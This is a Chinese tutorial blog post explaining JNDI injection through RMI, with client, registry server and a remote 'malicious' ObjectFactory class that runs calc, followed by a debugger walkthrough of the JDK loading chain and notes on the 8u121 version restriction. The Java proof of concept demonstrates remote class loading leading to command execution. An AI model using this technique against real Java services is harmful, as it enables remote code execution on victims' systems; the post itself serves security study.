JNDI注入基础

一、简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

二、利用方式

在JNDI中有几种利用方式,这节就来讲一下RMI的利用方式

1.RMI的利用方式

客户端:

package com.yy.JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException; public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}

服务端:

package com.yy.JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}

被远程调用的恶意类:

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable; public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
} static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
} public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} @Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}

这里会执行四次,弹出四个计算器

debug断点打在客户端lookup处:

跟进javax.naming.InitialContext#getURLOrDefaultInitCtx

先进入getURLOrDefaultInitCtx方法

在第347行返回了rmiURLContext对象

回到前面getURLOrDefaultInitCtx处,又调用lookup方法,就会调用其rmiURLContext父类的lookup

4)在lookup中,查看getRootURLContext

getRootURLContext其实是一个接口,根据不同的协议来调用对应类的getRootURLContext方法

5)回到lookup,继续跟进

跟进到RegistryContext#lookup中

这里会去RMI注册中心寻找hello对象,接着看下当前类的decodeObject方法

这里的ReferenceWrapper_stub对象实现了RemoteReference接口

调用ReferenceWrapper_stub#getReference方法返回的是一个Reference对象

所以前面的var3获取到的是一个Reference对象

继续跟进到getObjectInstance

跟进NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行调用了getObjectFactoryFromReference

NamingManager#getObjectFactoryFromReference

146行先尝试从本地CLASSPATH加载该class,再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现

VersionHelper12#loadClass

这里用了URLClassLoader去加载远程类

跟进loadClass

执行完Class.forName就会加载这个类,从而执行到static方法

由于类的加载执行了static方法,服务器日志出现了一条调用记录

并且弹出了计算器

回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance

这里执行完就会调用代码块和无参构造方法,弹出两个计算器

再往下会执行到321行,调用getObjectInstance方法

此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。

2.RMI的利用版本限制

从jdk8u121 7u131 6u141版本开始

com.sun.jndi.rmi.object.trustURLCodebase

com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

即默认不允许从远程的Codebase加载Reference工厂类

所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)

以下是我补充实验中遇到的一些问题:

1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类

服务端本地不需要恶意类

2.是服务端的版本有限制还是客户端版本有限制

是客户端有版本限制,需要小于8u121

3.为什么关闭服务器,客户端还可以继续执行payload

客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类

JNDI注入基础的更多相关文章

  1. JNDI注入和JNDI注入Bypass

    之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议 JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/pia ...

  2. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  3. JNDI注入与反序列化学习总结

    0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...

  4. 浅析JNDI注入Bypass

    之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...

  5. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

  6. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  7. Java之JNDI注入

    Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...

  8. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  9. Java Web系列:Spring依赖注入基础

    一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...

随机推荐

  1. C++ //继承中构造和析构顺序

    1 #include <iostream> 2 #include <string> 3 using namespace std; 4 5 class Base 6 { 7 pu ...

  2. rein 多平台支持的超便携端口转发与内网穿透工具

    介绍 本程序主要用于进行反向代理IP地址和端口,功能类似于 nginx 的 stream 模式和rinetd 的功能:在(1.0.5)版本开始,rein支持内网穿透,这一功能类似于frp 和ngrok ...

  3. TextLineCodecFactory笔记

    Mina的TextLineCodecFactory将字符串编码为字节流,将字节流解码为字符串,下面是使用中遇到的两个问题. TextLineCodecFactory改变了message的类型 acce ...

  4. noip33

    T1 第一个猎人死的轮数等于在1号猎人之前死的猎人数+1,如果当前这个人没死,那么他死在一号猎人之前的概率为 \(\frac{w_{i}}{w_{1}+w_{i}}\),因为每死一个就会造成1的贡献, ...

  5. NOIP 模拟 $32\; \rm Walker$

    题解 \(by\;zj\varphi\) 发现当把 \(\rm scale×cos\theta,scale×sin\theta,dx,dy\) 当作变量时只有四个,两个方程就行. 当 \(\rm n\ ...

  6. nacos项目搭建(服务提供者,服务消费者)

    spring cloud ablibaba 版本说明 https://github.com/alibaba/spring-cloud-alibaba/wiki/版本说明 启动nacos服务 官网: h ...

  7. maven打包war,导入本地jar包

    方法1: 一 . 在项目根目录创建lib文件夹,把jar放入lib文件夹中 二 . 在项目中使用本地jar pom文件配置如下: <properties> <project.buil ...

  8. GPRS RTU设备OPC Server接口C# 实现

    通过本OPC Server程序接口可为用户提供以OPC标准接口访问远程GPRS/3G/以太网 RTU设备实时数据的方式.从而方便实现GPRS/3G/以太网 RTU设备与组态软件或DCS系统的对接.本程 ...

  9. SpringBoot2.0 防止XSS攻击

    一:什么是XSS XSS攻击全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 你可以自己做个简单尝试: 1. 在任何一个表单内,你输 ...

  10. Spring第一课:核心API(三)

    以上是Spring的核心部分,其中需要了解的是:BeanFactory.ApplicationContext[FileSystemXmlApplicationContext.ClassPathXmlA ...